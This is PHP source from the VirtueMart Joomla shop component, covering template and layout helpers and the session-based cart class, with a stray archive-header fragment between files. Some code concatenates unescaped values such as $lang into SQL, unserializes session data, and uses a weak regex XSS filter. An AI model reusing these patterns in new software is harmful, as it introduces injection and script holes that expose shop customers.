if(!empty($temp)) $template = $temp; } else { $template = $catTpl; } } //Set specific product template if(!empty($prodTpl)) { if(is_Int( $prodTpl )) { $q = 'SELECT `product_template` FROM `#__virtuemart_products` WHERE `virtuemart_product_id` = "'.(int)$prodTpl.'" '; $db->setQuery( $q ); $temp = $db->loadResult(); if(!empty($temp)) $template = $temp; } else { $template = $prodTpl; } } shopFunctionsF::setTemplate( $template ); //Lets get here the layout set in the shopconfig, if there is nothing set, get the joomla standard if(JRequest::getWord( 'view' ) == 'virtuemart') { $layout = VmConfig::get( 'vmlayout', 'default' ); $view->setLayout( strtolower( $layout ) ); } else { if(empty($catLayout) and empty($prodLayout)) { $catLayout = VmConfig::get( 'productlayout', 'default' ); } //Set specific category layout if(!empty($catLayout) && empty($prodLayout)) { if(is_Int( $catLayout )) { $q = 'SELECT `layout` FROM `#__virtuemart_categories` WHERE `virtuemart_category_id` = "'.(int)$catLayout.'" '; $db->setQuery( $q ); $temp = $db->loadResult(); if(!empty($temp)) $layout = $temp; } else { $layout = $catLayout; } } //Set specific product layout if(!empty($prodLayout)) { if(is_Int( $prodLayout )) { $q = 'SELECT `layout` FROM `#__virtuemart_products` WHERE `virtuemart_product_id` = "'.(int)$prodLayout.'" '; $db->setQuery( $q ); $temp = $db->loadResult(); if(!empty($temp)) $layout = $temp; } else { $layout = $prodLayout; } } } if(!empty($layout)) { $view->setLayout( strtolower( $layout ) ); } } function sendRatingEmailToVendor ($data) { if(!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $vars = array(); $productModel = VmModel::getModel ('product'); $product = $productModel->getProduct ($data['virtuemart_product_id']); $vars['subject'] = JText::sprintf('COM_VIRTUEMART_RATING_EMAIL_SUBJECT', $product->product_name); $vars['mailbody'] = JText::sprintf('COM_VIRTUEMART_RATING_EMAIL_BODY', $product->product_name); $vendorModel = VmModel::getModel ('vendor'); $vendor = $vendorModel->getVendor ($product->virtuemart_vendor_id); $vendorModel->addImages ($vendor); $vars['vendor'] = $vendor; $vars['vendorEmail'] = $vendorModel->getVendorEmail ($product->virtuemart_vendor_id); if (!class_exists ('shopFunctions')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctions.php'); $vars['vendorAddress'] = shopFunctions::renderVendorAddress ($product->virtuemart_vendor_id); //$orderModel = VmModel::getModel ('orders'); shopFunctionsF::renderMail ('productdetails', $vars['vendorEmail'], $vars, 'productdetails', TRUE); } /** * Final setting of template * * @author Max Milbers */ static function setTemplate ($template) { if(!empty($template) && $template != 'default') { $app = JFactory::getApplication( 'site' ); if(JVM_VERSION === 1){ if(is_dir( JPATH_THEMES.DS.$template )) { $app->set( 'setTemplate', $template ); } else { JError::raiseWarning( 412, 'The chosen template couldnt find on the filesystem: '.$template ); } } else { $registry = null; if(is_numeric($template)){ $db = JFactory::getDbo(); $query = 'SELECT `template`,`params` FROM `#__template_styles` WHERE `id`="'.$template.'" '; $db->setQuery($query); $res = $db->loadAssoc(); if($res){ $registry = new JRegistry; $registry->loadString($res['params']); $template = $res['template']; } } else { vmAdminInfo('Your template settings are old, please check your template settings in the vm config and in your categories'); vmdebug('Your template settings are old, please check your template settings in the vm config and in your categories'); } if(is_dir( JPATH_THEMES.DS.$template )) { $app->setTemplate($template,$registry); } else { JError::raiseWarning( 412, 'The chosen template couldnt find on the filesystem: '.$template ); } } } return $template; } /** * * Enter description here ... * @author Max Milbers * @author Iysov * @param string $string * @param int $maxlength * @param string $suffix */ static public function limitStringByWord ($string, $maxlength, $suffix = '') { if(function_exists( 'mb_strlen' )) { // use multibyte functions by Iysov if(mb_strlen( $string )<=$maxlength) return $string; $string = mb_substr( $string, 0, $maxlength ); $index = mb_strrpos( $string, ' ' ); if($index === FALSE) { return $string; } else { return mb_substr( $string, 0, $index ).$suffix; } } else { // original code here if(strlen( $string )<=$maxlength) return $string; $string = substr( $string, 0, $maxlength ); $index = strrpos( $string, ' ' ); if($index === FALSE) { return $string; } else { return substr( $string, 0, $index ).$suffix; } } } /** * Admin UI Tabs * Gives A Tab Based Navigation Back And Loads The Templates With A Nice Design * @param $load_template = a key => value array. key = template name, value = Language File contraction * @example 'shop' => 'COM_VIRTUEMART_ADMIN_CFG_SHOPTAB' */ static function buildTabs ($view, $load_template = array()) { vmJsApi::js( 'vmtabs' ); $html = '
            '; $i = 1; foreach( $load_template as $tab_content => $tab_title ) { $html .= '
            '; $html .= $view->loadTemplate( $tab_content ); $html .= '
            '; $i++; } $html .= '
            '; echo $html; } static function getComUserOption () { if(JVM_VERSION === 1) { return 'com_user'; } else { return 'com_users'; } } /** * Checks if Joomla language keys exist and combines it according to existing keys. * @string $pkey : primary string to search for Language key (must have %s in the string to work) * @string $skey : secondary string to search for Language key * @return string * @author Max Milbers * @author Patrick Kohl */ static function translateTwoLangKeys ($pkey, $skey) { $upper = strtoupper( $pkey ).'_2STRINGS'; if(JText::_( $upper ) !== $upper) { return JText::sprintf( $upper, JText::_( $skey ) ); } else { return JText::_( $pkey ).' '.JText::_( $skey ); } } /** * Writes a PDF icon * @author Patrick Kohl * @param string $link * @param boolean $use_icon * @deprecated */ function PdfIcon ($link, $use_icon = TRUE, $modal = TRUE) { return VmView::linkIcon( $link, 'COM_VIRTUEMART_PDF', 'pdf_button', 'pdf_button_enable', $modal, $use_icon ); } /** * Writes an Email icon * @author Patrick Kohl * @param string $link * @param boolean $use_icon * @deprecated */ function EmailIcon ($virtuemart_product_id, $use_icon, $modal) { if($virtuemart_product_id>0) { $link = 'index.php?option=com_virtuemart&view=productdetails&task=recommend&virtuemart_product_id='.$virtuemart_product_id.'&tmpl=component'; return VmView::linkIcon( $link, 'COM_VIRTUEMART_EMAIL', 'emailButton', 'show_emailfriend', $modal, $use_icon ); } } /** * @author RolandD, Christopher Roussel * * @deprecated */ function PrintIcon ($link = '', $use_icon = TRUE, $add_text = '') { if(VmConfig::get( 'show_printicon', 1 ) == '1') { $folder = (JVM_VERSION === 1) ? '/images/M_images/' : '/media/system/images/'; // checks template image directory for image, if non found default are loaded if($use_icon) { $filter = JFilterInput::getInstance(); $text = JHtml::_( 'image.site', 'printButton.png', $folder, NULL, NULL, JText::_( 'COM_VIRTUEMART_PRINT' ) ); $text .= $filter->clean( $add_text ); } else { $text = '| '.JText::_( 'COM_VIRTUEMART_PRINT' ).' |'; } $isPopup = JRequest::getVar( 'pop' ); if($isPopup) { // Print Preview button - used when viewing page $html = ' '.$text.' '; return $html; } else { // Print Button - used in pop-up window return self::vmPopupLink( $link, $text, 640, 480, '_blank', JText::_( 'COM_VIRTUEMART_PRINT' ) ); } } } /** * Get Virtuemart itemID from joomla menu * @author Maik K�nnemann */ static function getMenuItemId( $lang = '*' ) { $itemID = ''; if(empty($lang)) $lang = '*'; $component = JComponentHelper::getComponent('com_virtuemart'); $db = JFactory::getDbo(); $q = 'SELECT * FROM `#__menu` WHERE `component_id` = "'. $component->id .'" and `language` = "'. $lang .'"'; $db->setQuery( $q ); $items = $db->loadObjectList(); if(empty($items)) { $q = 'SELECT * FROM `#__menu` WHERE `component_id` = "'. $component->id .'" and `language` = "*"'; $db->setQuery( $q ); $items = $db->loadObjectList(); } foreach ($items as $item) { if(strstr($item->link, 'view=virtuemart')) { $itemID = $item->id; break; } } if(empty($itemID) && !empty($items[0]->id)) { $itemID = $items[0]->id; } return $itemID; } static function triggerContentPlugin( &$article, $context, $field) { // add content plugin // $dispatcher = JDispatcher::getInstance (); JPluginHelper::importPlugin ('content'); $article->text = $article->$field; jimport ('joomla.html.parameter'); $params = new JParameter(''); if (JVM_VERSION === 2) { if (!isset($article->event)) { $article->event = new stdClass(); } $results = $dispatcher->trigger ('onContentPrepare', array('com_virtuemart.'.$context, &$article, &$params, 0)); // More events for 3rd party content plugins // This do not disturb actual plugins, because we don't modify $vendor->text $res = $dispatcher->trigger ('onContentAfterTitle', array('com_virtuemart.'.$context, &$article, &$params, 0)); $article->event->afterDisplayTitle = trim (implode ("\n", $res)); $res = $dispatcher->trigger ('onContentBeforeDisplay', array('com_virtuemart.'.$context, &$article, &$params, 0)); $article->event->beforeDisplayContent = trim (implode ("\n", $res)); $res = $dispatcher->trigger ('onContentAfterDisplay', array('com_virtuemart.'.$context, &$article, &$params, 0)); $article->event->afterDisplayContent = trim (implode ("\n", $res)); } else { $results = $dispatcher->trigger ('onPrepareContent', array(& $article, & $params, 0)); } $article->$field = $article->text; } static public function mask_string($cc, $mask_char='X') { return str_pad(substr($cc, -4), strlen($cc), $mask_char, STR_PAD_LEFT); } }PKGy>\7com_virtuemart/helpers/cart.phpnuW+AuseSSL = VmConfig::get('useSSL',0); $this->useXHTML = false; } /** * * @author Max Milbers * @param bool $setCart: set the Cart into Session * @param array $options : options for getSession * @param null $cartData: if not empty, do no get the cart data from session * @return null|VirtueMartCart */ public static function getCart($setCart=true, $options = array(), $cartData=NULL) { //What does this here? for json stuff? if (!class_exists('JTable') )require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'database' . DS . 'table.php'); // JTable::addIncludePath(JPATH_VM_ADMINISTRATOR . DS . 'tables'); if(empty(self::$_cart)){ if (empty($cartData)) { $session = JFactory::getSession($options); $cartSession = $session->get('vmcart', 0, 'vm'); } else { $cartSession=$cartData; } if (!empty($cartSession)) { $sessionCart = unserialize( $cartSession ); self::$_cart = new VirtueMartCart; self::$_cart->products = $sessionCart->products; self::$_cart->vendorId = $sessionCart->vendorId; self::$_cart->lastVisitedCategoryId = $sessionCart->lastVisitedCategoryId; self::$_cart->virtuemart_shipmentmethod_id = $sessionCart->virtuemart_shipmentmethod_id; self::$_cart->virtuemart_paymentmethod_id = $sessionCart->virtuemart_paymentmethod_id; self::$_cart->automaticSelectedShipment = $sessionCart->automaticSelectedShipment; self::$_cart->automaticSelectedPayment = $sessionCart->automaticSelectedPayment; self::$_cart->BT = $sessionCart->BT; self::$_cart->ST = $sessionCart->ST; self::$_cart->tosAccepted = $sessionCart->tosAccepted; self::$_cart->customer_comment = base64_decode($sessionCart->customer_comment); self::$_cart->couponCode = $sessionCart->couponCode; self::$_cart->_triesValidateCoupon = $sessionCart->_triesValidateCoupon; self::$_cart->order_language = $sessionCart->order_language; self::$_cart->cartData = $sessionCart->cartData; self::$_cart->order_number = $sessionCart->order_number; self::$_cart->lists = $sessionCart->lists; //self::$_cart->pricesUnformatted = $sessionCart->pricesUnformatted; self::$_cart->pricesCurrency = $sessionCart->pricesCurrency; self::$_cart->paymentCurrency = $sessionCart->paymentCurrency; self::$_cart->_inCheckOut = $sessionCart->_inCheckOut; self::$_cart->_dataValidated = $sessionCart->_dataValidated; self::$_cart->_confirmDone = $sessionCart->_confirmDone; self::$_cart->STsameAsBT = $sessionCart->STsameAsBT; self::$_cart->customer_number = $sessionCart->customer_number; } } if(empty(self::$_cart)){ self::$_cart = new VirtueMartCart; } if ( $setCart == true ) { self::$_cart->setPreferred(); self::$_cart->setCartIntoSession(); } return self::$_cart; } /* * Set non product info in object */ public function setPreferred() { $userModel = VmModel::getModel('user'); $user = $userModel->getCurrentUser(); if (empty($this->BT) || (!empty($this->BT) && count($this->BT) <=1) ) { foreach ($user->userInfo as $address) { if ($address->address_type == 'BT') { $this->saveAddressInCart((array) $address, $address->address_type,false); } } } if (empty($this->virtuemart_shipmentmethod_id) && !empty($user->virtuemart_shipmentmethod_id)) { $this->virtuemart_shipmentmethod_id = $user->virtuemart_shipmentmethod_id; } if (empty($this->virtuemart_paymentmethod_id) && !empty($user->virtuemart_paymentmethod_id)) { $this->virtuemart_paymentmethod_id = $user->virtuemart_paymentmethod_id; } //$this->tosAccepted is due session stuff always set to 0, so testing for null does not work if((!empty($user->agreed) || !empty($this->BT['agreed'])) && !VmConfig::get('agree_to_tos_onorder',0) ){ $this->tosAccepted = 1; } //if(empty($this->customer_number) or ($user->virtuemart_user_id!=0 and strpos($this->customer_number,'nonreg_')!==FALSE ) ){ if($user->virtuemart_user_id!=0 and empty($this->customer_number) or strpos($this->customer_number,'nonreg_')!==FALSE){ $this->customer_number = $userModel ->getCustomerNumberById(); } if(empty($this->customer_number) or strpos($this->customer_number,'nonreg_')!==FALSE){ $firstName = empty($this->BT['first_name'])? '':$this->BT['first_name']; $lastName = empty($this->BT['last_name'])? '':$this->BT['last_name']; $email = empty($this->BT['email'])? '':$this->BT['email']; $this->customer_number = 'nonreg_'.$firstName.$lastName.$email; } } /** * Set the cart in the session * * @author RolandD * * @access public */ public function setCartIntoSession() { $session = JFactory::getSession(); $sessionCart = new stdClass(); $products = array(); if ($this->products) { foreach($this->products as $key =>$product){ //Important DO NOT UNSET product_price //unset($product->product_price); //unset($product->prices); unset($product->pricesUnformatted); unset($product->mf_name); unset($product->mf_desc); unset($product->mf_url); unset($product->salesPrice); unset($product->basePriceWithTax); unset($product->subtotal); unset($product->subtotal_with_tax); unset($product->subtotal_tax_amount); unset($product->subtotal_discount); unset($product->product_price_vdate); unset($product->product_price_edate); } } // $sessionCart->products = $products; $sessionCart->products = $this->products; // echo '
            '.print_r($products,1).'
            ';die; $sessionCart->vendorId = $this->vendorId; $sessionCart->lastVisitedCategoryId = $this->lastVisitedCategoryId; $sessionCart->virtuemart_shipmentmethod_id = $this->virtuemart_shipmentmethod_id; $sessionCart->virtuemart_paymentmethod_id = $this->virtuemart_paymentmethod_id; $sessionCart->automaticSelectedShipment = $this->automaticSelectedShipment; $sessionCart->automaticSelectedPayment = $this->automaticSelectedPayment; $sessionCart->order_number = $this->order_number; $sessionCart->BT = $this->BT; $sessionCart->ST = $this->ST; $sessionCart->tosAccepted = $this->tosAccepted; $sessionCart->customer_comment = base64_encode($this->customer_comment); $sessionCart->couponCode = $this->couponCode; $sessionCart->_triesValidateCoupon = $this->_triesValidateCoupon; $sessionCart->order_language = $this->order_language; $sessionCart->cartData = $this->cartData; $sessionCart->lists = $this->lists; // $sessionCart->user = $this->user; // $sessionCart->prices = $this->prices; //$sessionCart->pricesUnformatted = $this->pricesUnformatted; $sessionCart->pricesCurrency = $this->pricesCurrency; $sessionCart->paymentCurrency = $this->paymentCurrency; //private variables $sessionCart->_inCheckOut = $this->_inCheckOut; $sessionCart->_dataValidated = $this->_dataValidated; $sessionCart->_confirmDone = $this->_confirmDone; $sessionCart->STsameAsBT = $this->STsameAsBT; $sessionCart->customer_number = $this->customer_number; if(!empty($sessionCart->pricesUnformatted)){ foreach($sessionCart->pricesUnformatted as &$prices){ if(is_array($prices)){ foreach($prices as &$price){ if(!is_array($price)){ $price = (string)$price; } } } else { $prices = (string)$prices; } } } // $pr = serialize($sessionCart->pricesUnformatted); // vmdebug('$sessionCart',$sessionCart); $session->set('vmcart', serialize($sessionCart),'vm'); } /** * Remove the cart from the session * * @author Max Milbers * @access public */ public function removeCartFromSession() { $session = JFactory::getSession(); $session->set('vmcart', 0, 'vm'); } public function setDataValidation($valid=false) { $this->_dataValidated = $valid; // $this->setCartIntoSession(); } public function getDataValidated() { return $this->_dataValidated; } public function getInCheckOut() { return $this->_inCheckOut; } public function setOutOfCheckout(){ $this->_inCheckOut = false; $this->_dataValidated = false; $this->setCartIntoSession(); } public function blockConfirm(){ $this->_blockConfirm = true; } /** * Set the last error that occured. * This is used on error to pass back to the cart when addJS() is invoked. * @param string $txt Error message * @author Oscar van Eijk */ private function setError($txt) { $this->_lastError = $txt; } /** * Retrieve the last error message * @return string The last error message that occured * @author Oscar van Eijk */ public function getError() { return ($this->_lastError); } /** * For one page checkouts, disable with this the redirects * @param bool $bool */ public function setRedirectDisabled($bool = TRUE){ $this->_redirect_disabled = $bool; } /** * Add a product to the cart * * @author RolandD * @author Max Milbers * @access public */ public function add($virtuemart_product_ids=null,&$errorMsg='') { $mainframe = JFactory::getApplication(); $success = false; $post = JRequest::get('default'); if(empty($virtuemart_product_ids)){ $virtuemart_product_ids = JRequest::getVar('virtuemart_product_id', array(), 'default', 'array'); //is sanitized then } if (empty($virtuemart_product_ids)) { $mainframe->enqueueMessage(JText::_('COM_VIRTUEMART_CART_ERROR_NO_PRODUCT_IDS', false)); return false; } $pModel = VmModel::getModel('product'); $products = array(); //Iterate through the prod_id's and perform an add to cart for each one foreach ($virtuemart_product_ids as $p_key => $virtuemart_product_id) { $quantityPost = (int) $post['quantity'][$p_key]; if($quantityPost === 0) continue; $tmpProduct = $pModel->getProduct($virtuemart_product_id, true, false,true,$quantityPost); $products[] = $tmpProduct; if ( VmConfig::get('oncheckout_show_images')){ $pModel->addImages($tmpProduct,1); } // trying to save some space in the session table $product = new stdClass(); $product -> virtuemart_manufacturer_id = $tmpProduct -> virtuemart_manufacturer_id; // $product -> mf_name = $tmpProduct -> mf_name; $product -> slug = $tmpProduct -> slug; // $product -> mf_desc = $tmpProduct -> mf_desc; // $product -> mf_url = $tmpProduct -> mf_url; $product -> published = $tmpProduct -> published; $product -> virtuemart_product_price_id = $tmpProduct -> virtuemart_product_price_id; $product -> virtuemart_product_id = $tmpProduct -> virtuemart_product_id; $product -> virtuemart_shoppergroup_id = $tmpProduct -> virtuemart_shoppergroup_id; $product -> product_price = $tmpProduct -> product_price; $product -> override = $tmpProduct -> override; $product -> product_override_price = $tmpProduct -> product_override_price; $product -> product_tax_id = $tmpProduct -> product_tax_id; $product -> product_discount_id = $tmpProduct -> product_discount_id; $product -> product_currency = $tmpProduct -> product_currency; // $product -> product_price_vdate = $tmpProduct -> product_price_vdate; // $product -> product_price_edate = $tmpProduct -> product_price_edate; $product -> virtuemart_vendor_id = $tmpProduct -> virtuemart_vendor_id; $product -> product_parent_id = $tmpProduct -> product_parent_id; $product -> product_sku = $tmpProduct -> product_sku; $product -> product_name = $tmpProduct -> product_name; $product -> product_s_desc = $tmpProduct -> product_s_desc; $product -> product_weight = $tmpProduct -> product_weight; $product -> product_weight_uom = $tmpProduct -> product_weight_uom; $product -> product_length = $tmpProduct -> product_length; $product -> product_width = $tmpProduct -> product_width; $product -> product_height = $tmpProduct -> product_height; $product -> product_lwh_uom = $tmpProduct -> product_lwh_uom; $product -> product_in_stock = $tmpProduct -> product_in_stock; $product -> product_ordered = $tmpProduct -> product_ordered; $product -> product_available_date = $tmpProduct -> product_available_date; $product -> product_availability = $tmpProduct -> product_availability; $product -> product_sales = $tmpProduct -> product_sales; $product -> product_unit = $tmpProduct -> product_unit; $product -> product_packaging = $tmpProduct -> product_packaging; $product -> min_order_level = $tmpProduct -> min_order_level; $product -> max_order_level = $tmpProduct -> max_order_level; $product -> virtuemart_media_id = $tmpProduct -> virtuemart_media_id; $product -> step_order_level= $tmpProduct ->step_order_level; if(!empty($tmpProduct ->images)) $product->image = $tmpProduct -> images[0]; $product -> categories = $tmpProduct -> categories; $product -> virtuemart_category_id = $tmpProduct -> virtuemart_category_id; $product -> category_name = $tmpProduct -> category_name; $product -> link = $tmpProduct -> link; $product -> packaging = $tmpProduct -> packaging; if (!empty($tmpProduct -> customfieldsCart) ) $product -> customfieldsCart = true; //why do we have this here? //Why reloading the product wiht same name $product ? // passed all from $tmpProduct and relaoding it second time ???? // $tmpProduct = $this->getProduct((int) $virtuemart_product_id); seee before !!! // $product = $this->getProduct((int) $virtuemart_product_id); // Who ever noted that, yes that is exactly right that way, before we have a full object, with all functions // of all its parents, we only need the data of the product, so we create a dummy class which contains only the data // This is extremly important for performance reasons, else the sessions becomes too big. // Check if we have a product if ($product) { if(!empty( $post['virtuemart_category_id'][$p_key])){ $virtuemart_category_idPost = (int) $post['virtuemart_category_id'][$p_key]; $product->virtuemart_category_id = $virtuemart_category_idPost; } $productKey = $product->virtuemart_product_id; //VmConfig::$echoDebug = true; //vmdebug('$post["customPrice"] ',$post['customPrice']); // INDEX NOT FOUND IN JSON HERE // changed name field you know exactly was this is if (isset($post['customPrice'])) { $product->customPrices = $post['customPrice']; if (isset($post['customPlugin'])){ //if(!class_exists('vmFilter'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmfilter.php'); if(!is_array($post['customPlugin'])){ $customPlugins = (array) $post['customPlugin']; } else { $customPlugins = $post['customPlugin']; } foreach($customPlugins as &$customPlugin){ if(is_array($customPlugin)){ foreach($customPlugin as &$customParams){ if(is_array($customParams)){ foreach($customParams as &$customParam){ /* the plugin returned an array of values */ if(is_array($customParam)){ foreach ($customParam as &$customParamItem) { $value = JComponentHelper::filterText($customParamItem); $value = (string)preg_replace('#on[a-z](.+?)\)#si','',$value);//replace start of script onclick() onload()... $value = trim(str_replace('"', ' ', $value),"'") ; $customParamItem = (string)preg_replace('#^\'#si','',$value); } } else { $value = JComponentHelper::filterText($customParam); $value = (string)preg_replace('#on[a-z](.+?)\)#si','',$value);//replace start of script onclick() onload()... $value = trim(str_replace('"', ' ', $value),"'") ; $customParam = (string)preg_replace('#^\'#si','',$value); } //$value = vmFilter::hl( $customPl,array('deny_attribute'=>'*')); //to strong /* $value = preg_replace('@<[\/\!]*?[^<>]*?>@si','',$value);//remove all html tags */ //lets use instead } } } } } $product->customPlugin = json_encode($customPlugins); } $productKey .= '::'; foreach ($product->customPrices as $customPrice) { $found = false; foreach ($customPrice as $customId => $custom_fieldId) { vmdebug('The $customId => $custom_fieldId '.$productKey,$customId,$custom_fieldId); //MarkerVarMods if ( is_array($custom_fieldId) ) { foreach ($custom_fieldId as $userfieldId => $userfield) { //$productKey .= (int)$customId . ':' . (int)$userfieldId . ';'; //$productKey .= (int)$custom_fieldId . ':' .(int)$customId . ';'; foreach($tmpProduct -> customfieldsCart as $k => $customfieldsCart){ if(isset($customfieldsCart->options) and is_array($customfieldsCart->options)){ $keys= array_keys($customfieldsCart->options); foreach( $keys as $virtuemart_customfield_id){ if($virtuemart_customfield_id==$custom_fieldId){ $productKey .= (int)$custom_fieldId . ':' .(int)$customId . ';'; unset($tmpProduct -> customfieldsCart[$k]); $found = true; } } } else { if($customfieldsCart->virtuemart_customfield_id==$custom_fieldId){ $productKey .= (int)$custom_fieldId . ':' .(int)$customId . ';'; unset($tmpProduct -> customfieldsCart[$k]); $found = true; } } } } } else { //TODO productCartId foreach($tmpProduct -> customfieldsCart as $k => $customfieldsCart){ if(isset($customfieldsCart->options) and is_array($customfieldsCart->options)){ $keys= array_keys($customfieldsCart->options); foreach( $keys as $virtuemart_customfield_id){ if($virtuemart_customfield_id==$custom_fieldId){ $productKey .= (int)$custom_fieldId . ':' .(int)$customId . ';'; unset($tmpProduct -> customfieldsCart[$k]); $found = true; } } } else { if($customfieldsCart->virtuemart_customfield_id==$custom_fieldId){ $productKey .= (int)$custom_fieldId . ':' .(int)$customId . ';'; unset($tmpProduct -> customfieldsCart[$k]); $found = true; } } } } if(!$found){ foreach($tmpProduct -> customfieldsCart as $k => $cfCart){ if($cfCart->field_type=='E'){ $productKey .= (int)$cfCart->virtuemart_customfield_id . ':' . (int) $cfCart->virtuemart_custom_id . ';'; vmdebug('The $product->customPrice as $customId => $custom_fieldId '.$productKey,$cfCart); $found = true; } } if(!$found){ vmdebug('Cart variant was not found and no fallback found',$tmpProduct -> customfieldsCart,$customfieldsCart); vmError('Cart variant was not found and no fallback found'); } } } } } // Add in the quantity in case the customfield plugins need it $product->quantity = (int)$quantityPost; if(!class_exists('vmCustomPlugin')) require(JPATH_VM_PLUGINS.DS.'vmcustomplugin.php'); JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); // on returning false the product have not to be added to cart $addToCartReturnValues = $dispatcher->trigger('plgVmOnAddToCart',array(&$product)); foreach ($addToCartReturnValues as $returnValue) { if ( $returnValue === false ) continue 2; } if (array_key_exists($productKey, $this->products) && (empty($product->customPlugin)) ) { $errorMsg = JText::_('COM_VIRTUEMART_CART_PRODUCT_UPDATED'); $totalQuantity = $this->products[$productKey]->quantity+ $quantityPost; if ($this->checkForQuantities($product,$totalQuantity ,$errorMsg)) { $this->products[$productKey]->quantity = $totalQuantity; } else { continue; } } else { if ( !empty($product->customPlugin)) { $productKey .= count($this->products); } if ($this->checkForQuantities($product, $quantityPost,$errorMsg)) { $this->products[$productKey] = $product; $product->quantity = $quantityPost; //$mainframe->enqueueMessage(JText::_('COM_VIRTUEMART_CART_PRODUCT_ADDED')); } else { // $errorMsg = JText::_('COM_VIRTUEMART_CART_PRODUCT_OUT_OF_STOCK'); continue; } } $success = true; } else { $mainframe->enqueueMessage(JText::_('COM_VIRTUEMART_PRODUCT_NOT_FOUND', false)); return false; } } if ($success== false) return false ; // End Iteration through Prod id's $this->setCartIntoSession(); return $products; } /** * Remove a product from the cart * * @author RolandD * @param array $cart_id the cart IDs to remove from the cart * @access public */ public function removeProductCart($prod_id=0) { // Check for cart IDs if (empty($prod_id)) $prod_id = JRequest::getVar('cart_virtuemart_product_id'); unset($this->products[$prod_id]); if(isset($this->cartProductsData[$prod_id])){ // hook for plugin action "remove from cart" if(!class_exists('vmCustomPlugin')) require(JPATH_VM_PLUGINS.DS.'vmcustomplugin.php'); JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); $addToCartReturnValues = $dispatcher->trigger('plgVmOnRemoveFromCart',array($this,$prod_id)); unset($this->cartProductsData[$prod_id]); } $this->setCartIntoSession(); return true; } /** * Update a product in the cart * * @author Max Milbers * @param array $cart_id the cart IDs to remove from the cart * @access public */ public function updateProductCart($cart_virtuemart_product_id=0,$quantity = null) { if (empty($cart_virtuemart_product_id)) $cart_virtuemart_product_id = vRequest::getString('cart_virtuemart_product_id'); if ($quantity === null) $quantity = vRequest::getInt('quantity'); $updated = false; if (array_key_exists($cart_virtuemart_product_id, $this->products)) { if (!empty($quantity)) { if ($this->checkForQuantities($this->products[$cart_virtuemart_product_id], $quantity)) { $this->products[$cart_virtuemart_product_id]->quantity = $quantity; $updated = true; } } else { //Todo when quantity is 0, the product should be removed, maybe necessary to gather in array and execute delete func unset($this->products[$cart_virtuemart_product_id]); $updated = true; } // Save the cart $this->setCartIntoSession(); } if ($updated) return true; else return false; } /** * Get the category ID from a product ID * * @author RolandD, Patrick Kohl * @access public * @return mixed if found the category ID else null */ public function getCardCategoryId($virtuemart_product_id) { $db = JFactory::getDBO(); $q = 'SELECT `virtuemart_category_id` FROM `#__virtuemart_product_categories` WHERE `virtuemart_product_id` = ' . (int) $virtuemart_product_id . ' LIMIT 1'; $db->setQuery($q); return $db->loadResult(); } /** Checks if the quantity is correct * * @author Max Milbers */ private function checkForQuantities($product, &$quantity=0,&$errorMsg ='') { $stockhandle = VmConfig::get('stockhandle','none'); // Check for a valid quantity if (!is_numeric( $quantity)) { $errorMsg = JText::_('COM_VIRTUEMART_CART_ERROR_NO_VALID_QUANTITY', false); // $this->_error[] = 'Quantity was not a number'; $this->setError($errorMsg); vmInfo($errorMsg,$product->product_name); return false; } // Check for negative quantity if ($quantity < 1) { // $this->_error[] = 'Quantity under zero'; $errorMsg = JText::_('COM_VIRTUEMART_CART_ERROR_NO_VALID_QUANTITY', false); $this->setError($errorMsg); vmInfo($errorMsg,$product->product_name); return false; } // update the stock info from the database $product_model = VmModel::getModel('product'); $product = $product_model->getProduct($product->virtuemart_product_id); // Check to see if checking stock quantity if ($stockhandle!='none' && $stockhandle!='risetime') { $productsleft = $product->product_in_stock - $product->product_ordered; // TODO $productsleft = $product->product_in_stock - $product->product_ordered - $quantityincart ; if ($quantity > $productsleft ){ if($productsleft>0 and $stockhandle=='disableadd'){ $quantity = $productsleft; $errorMsg = JText::sprintf('COM_VIRTUEMART_CART_PRODUCT_OUT_OF_QUANTITY',$quantity); $this->setError($errorMsg); vmInfo($errorMsg.' '.$product->product_name); // $mainframe->enqueueMessage($errorMsg); } else { $errorMsg = JText::_('COM_VIRTUEMART_CART_PRODUCT_OUT_OF_STOCK'); $this->setError($errorMsg); // Private error retrieved with getError is used only by addJS, so only the latest is fine // todo better key string vmInfo($errorMsg. ' '.$product->product_name); // $mainframe->enqueueMessage($errorMsg); return false; } } } // Check for the minimum and maximum quantities $min = $product->min_order_level; if ($min != 0 && $quantity < $min) { $errorMsg = JText::sprintf('COM_VIRTUEMART_CART_MIN_ORDER', $min); $this->setError($errorMsg); vmInfo($errorMsg,$product->product_name); return false; } $max = $product->max_order_level; if ($max != 0 && $quantity > $max) { $errorMsg = JText::sprintf('COM_VIRTUEMART_CART_MAX_ORDER', $max); $this->setError($errorMsg); vmInfo($errorMsg,$product->product_name); return false; } $step = $product->step_order_level; if ($step != 0 && ($quantity%$step)!= 0) { $errorMsg = JText::sprintf('COM_VIRTUEMART_CART_STEP_ORDER', $step); $this->setError($errorMsg); vmInfo($errorMsg,$product->product_name); return false; } return true; } /** * Validate the coupon code. If ok,. set it in the cart * @param string $coupon_code Coupon code as entered by the user * @author Oscar van Eijk * TODO Change the coupon total/used in DB ? * @access public * @return string On error the message text, otherwise an empty string */ public function setCouponCode($coupon_code) { if(empty($coupon_code)) return false; if (!class_exists('CouponHelper')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'coupon.php'); } if(!isset($this->pricesUnformatted['salesPrice'])){ $this->getCartPrices(); } if(!in_array($coupon_code,$this->_triesValidateCoupon)){ $this->_triesValidateCoupon[] = $coupon_code; } if(count($this->_triesValidateCoupon)<8){ $msg = CouponHelper::ValidateCouponCode($coupon_code, $this->pricesUnformatted['salesPrice']);; } else{ $msg = JText::_('COM_VIRTUEMART_CART_COUPON_TOO_MANY_TRIES'); } if (!empty($msg)) { $this->couponCode = ''; $this->_dataValidated = false; $this->_blockConfirm = true; $this->getCartPrices(); $this->setCartIntoSession(); return $msg; } $this->couponCode = $coupon_code; $this->setCartIntoSession(); return JText::_('COM_VIRTUEMART_CART_COUPON_VALID'); } /** * Check the selected shipment data and store the info in the cart * @param integer $shipment_id Shipment ID taken from the form data * @author Oscar van Eijk */ public function setShipment($shipment_id) { $this->virtuemart_shipmentmethod_id = $shipment_id; 